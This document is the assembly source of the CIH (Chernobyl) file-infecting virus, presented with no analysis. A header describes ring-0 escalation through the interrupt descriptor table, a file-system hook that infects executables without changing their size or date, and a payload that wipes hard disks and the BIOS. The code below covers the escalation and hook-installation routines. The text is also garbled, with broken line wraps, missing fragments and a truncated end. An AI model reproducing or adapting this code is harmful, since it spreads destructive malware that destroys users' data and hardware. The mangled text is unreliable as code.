project 2

; ********************************************************************
********
; *               The Virus Program Information
    *
; ********************************************************************
********
; *
    *
; *   Designer : CIH             Source : TTIT of TATUNG in Tai
wan   *
; *   Create Date : 04/26/1998     Now Version : 1.4
    *
; *   Modification Time : 05/31/1998
    *
; *
    *
; *   Turbo Assembler Version 4.0   : tasm /m cih
    *
; *   Turbo Link Version 3.01       : tlink /3 /t cih, cih.exe
    *
; *
    *
; *===================================================================
=======*
; *               Modification History
    *
; *===================================================================
=======*
; *   v1.0   1. Create the Virus Program.
    *
; *         2. The Virus Modifies IDT to Get Ring0 Privilege.
    *
; * 04/26/1998 3. Virus Code doesn't Reload into System.
    *
; *         4. Call IFSMgr_InstallFileSystemApiHook to Hook File S
ystem. *
; *         5. Modifies Entry Point of IFSMgr_InstallFileSystemApi
Hook. *
; *         6. When System Opens Existing PE File, the File will b
e     *
; *           Infected, and the File doesn't be Reinfected.
    *
; *         7. It is also Infected, even the File is Read-Only.
    *
; *         8. When the File is Infected, the Modification Date an
d Time *
; *           of the File also don't be Changed.
    *
; *         9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not
Call *
; *           Previous FileSystemApiHook, it will Call the Functi
on   *
; *           that the IFS Manager Would Normally Call to Impleme
nt   *
; *           this Particular I/O Request.
    *
; *         10. The Virus Size is only 656 Bytes.
    *
; *===================================================================
=======*
; *   v1.1   1. Especially, the File that be Infected will not Incr
ease   *
; *           it's Size...   ^__^
    *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing.
    *
; *           When Exception Error Occurs, Our OS System should b
e in   *
; *           Windows NT. So My Cute Virus will not Continue to R
un,   *
; *           it will Jmup to Original Application to Run.
    *
; *         3. Use Better Algorithm, Reduce Virus Code Size.
    *
; *         4. The Virus "Basic" Size is only 796 Bytes.
    *
; *===================================================================
=======*
; *   v1.2   1. Kill All HardDisk, and BIOS... Super... Killer...
    *
; *         2. Modify the Bug of v1.1
    *
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes.
    *
; *===================================================================
=======*
; *   v1.3   1. Modify the Bug that WinZip Self-Extractor Occurs Er
ror.   *
; *           So When Open WinZip Self-Extractor ==> Don't Infect
it.   *
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes.
    *
; *===================================================================
=======*
; *   v1.4   1. Full Modify the Bug : WinZip Self-Extractor Occurs
Error. *
; *         2. Change the Date of Killing Computers.
    *
; * 05/31/1998 3. Modify Virus Version Copyright.
    *
; *         4. The Virus "Basic" Size is 1019 Bytes.
    *
; ********************************************************************
********


          .586P



; ********************************************************************
********
; *         Original PE Executable File(Don't Modify this Section)
    *
; ********************************************************************
********


OriginalAppEXE SEGMENT



FileHeader:

          db     04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h

          db     004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h

          db     0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h

          db     00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh

          db     021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h

          db     069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h

          db     061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh

          db     074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh

          db     020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h

          db     06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah

          db     024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h

          db     0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h

          db     00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h

          db     000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h

          db     000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h

          db     004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h

          db     000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h

          db     000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h

          db     000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h

          db     000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          db     0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

          dd     00000000h, VirusSize



                lea   ecx, StopToRunVirusCode-@0[ebx]

                push   ecx



                push   eax



; *************************************

; * Let's Modify               *

; * IDT(Interrupt Descriptor Table)   *

; * to Get Ring0 Privilege...       *

; *************************************



                push   eax         ;

                sidt   [esp-02h]     ; Get IDT Base Address

                pop   ebx         ;



                add   ebx, HookExceptionNumber*08h+04h ; ZF
= 0


                cli



                mov   ebp, [ebx]     ; Get Exception Base

                mov   bp, [ebx-04h]   ; Entry Point



                lea   esi, MyExceptionHook-@1[ecx]



                push   esi



                mov   [ebx-04h], si       ;

                shr   esi, 16           ; Modify Excep
tion
                mov   [ebx+02h], si       ; Entry Point
Address


                pop   esi



; *************************************

; * Generate Exception to Get Ring0   *

; *************************************



                int   HookExceptionNumber   ; GenerateExce
ption
ReturnAddressOfEndException   =     $



; *************************************

; * Merge All Virus Code Section     *

; *************************************



; *************************************

; * Generate Exception Again       *

; *************************************



                int   HookExceptionNumber   ; GenerateExce
ption Aga




; *************************************

; * Let's Restore               *

; * Structured Exception Handing     *

; *************************************



ReadyRestoreSE:

                sti



                xor   ebx, ebx



                jmp   RestoreSE



; *************************************

; * When Exception Error Occurs,     *

; * Our OS System should be in NT.   *

; * So My Cute Virus will not       *

; * Continue to Run, it Jmups to     *

; * Original Application to Run.     *

; *************************************



StopToRunVirusCode:

@1               =     StopToRunVirusCode



                xor   ebx, ebx

                mov   eax, fs:[ebx]

                mov   esp, [eax]



RestoreSE:

                pop   dword ptr fs:[ebx]

                pop   eax



; *************************************

; * Return Original App to Execute   *

; *************************************



                pop   ebp



                push   00401000h     ; Push Original

OriginalAddressOfEntryPoint   =     $-4   ; App Entry Point to S
tack


                ret   ; Return to Original App Entry Point



; *********************************************************

; *         Ring0 Virus Game Initial Program       *

; *********************************************************



MyExceptionHook:

@2               =     MyExceptionHook



                jz     InstallMyFileSystemApiHook



; *************************************

; * Do My Virus Exist in System !?   *

; *************************************



                mov   ecx, dr0

                jecxz   AllocateSystemMemoryPage



                add   dword ptr [esp], ReadyRestoreSE-Return
AddressOf
dException



; *************************************

; * Return to Ring3 Initial Program   *

; *************************************



ExitRing0Init:

                mov   [ebx-04h], bp   ;

                shr   ebp, 16       ; Restore Exception

                mov   [ebx+02h], bp   ;



                iretd



; *************************************

; * Allocate SystemMemory Page to Use *

; *************************************



AllocateSystemMemoryPage:



                mov   dr0, ebx     ; Set the Mark of My V
irus Exis
in System



                push   00000000fh     ;

                push   ecx         ;

                push   0ffffffffh     ;

                push   ecx         ;

                push   ecx         ;

                push   ecx         ;

                push   000000001h     ;

                push   000000002h     ;

                int   20h         ; VMMCALL _PageAllocat
e
_PageAllocate       =     $           ;

                dd     00010053h     ; Use EAX, ECX, EDX, a
nd flags
                add   esp, 08h*04h



                xchg   edi, eax     ; EDI = SystemMemory S
tart Addr
s



                lea   eax, MyVirusStart-@2[esi]



                iretd   ; Return to Ring3 Initial Program



; *************************************

; * Install My File System Api Hook   *

; *************************************



InstallMyFileSystemApiHook:



                lea   eax, FileSystemApiHook-@6[edi]



                push   eax ;

                int   20h ; VXDCALL IFSMgr_InstallFileSyste
mApiHook
IFSMgr_InstallFileSystemApiHook =     $     ;

                dd     00400067h     ; Use EAX, ECX, EDX, a
nd flags


                mov   dr0, eax     ; Save OldFileSystemAp
iHook Add
ss



                pop   eax   ; EAX = FileSystemApiHook Addr
ess


                ; Save Old IFSMgr_InstallFileSystemApiHook Ent
ry Point
                mov   ecx, IFSMgr_InstallFileSystemApiHook-@
2[esi]
                mov   edx, [ecx]

                mov   OldInstallFileSystemApiHook-@3[eax], e
dx


                ; Modify IFSMgr_InstallFileSystemApiHook Entry
Point
                lea   eax, InstallFileSystemApiHook-@3[eax]

                mov   [ecx], eax



                cli



                jmp   ExitRing0Init



; *********************************************************

; *         Code Size of Merge Virus Code Section   *

; *********************************************************



CodeSizeOfMergeVirusCodeSection       =     offset $



; *********************************************************

; *         IFSMgr_InstallFileSystemApiHook       *

; *********************************************************



InstallFileSystemApiHook:

                push   ebx



                call   @4     ;

@4:                         ;

                pop   ebx   ; mov ebx, offset FileSystemAp
iHook
                add   ebx, FileSystemApiHook-@4     ;



                push   ebx

                int   20h ; VXDCALL IFSMgr_RemoveFileSystem
ApiHook
IFSMgr_RemoveFileSystemApiHook =     $

                dd     00400068h     ; Use EAX, ECX, EDX, a
nd flags
                pop   eax



                ; Call Original IFSMgr_InstallFileSystemApiHoo
k
                ; to Link Client FileSystemApiHook

                push   dword ptr [esp+8]

                call   OldInstallFileSystemApiHook-@3[ebx]

                pop   ecx



                push   eax



                ; Call Original IFSMgr_InstallFileSystemApiHoo
k
                ; to Link My FileSystemApiHook

                push   ebx

                call   OldInstallFileSystemApiHook-@3[ebx]

                pop   ecx



                mov   dr0, eax     ; Adjust OldFileSystem
ApiHook A
ress



                pop   eax



                pop   ebx



                ret



; *********************************************************

; *               Static Data               *

; *********************************************************



OldInstallFileSystemApiHook   dd     ?

               &nb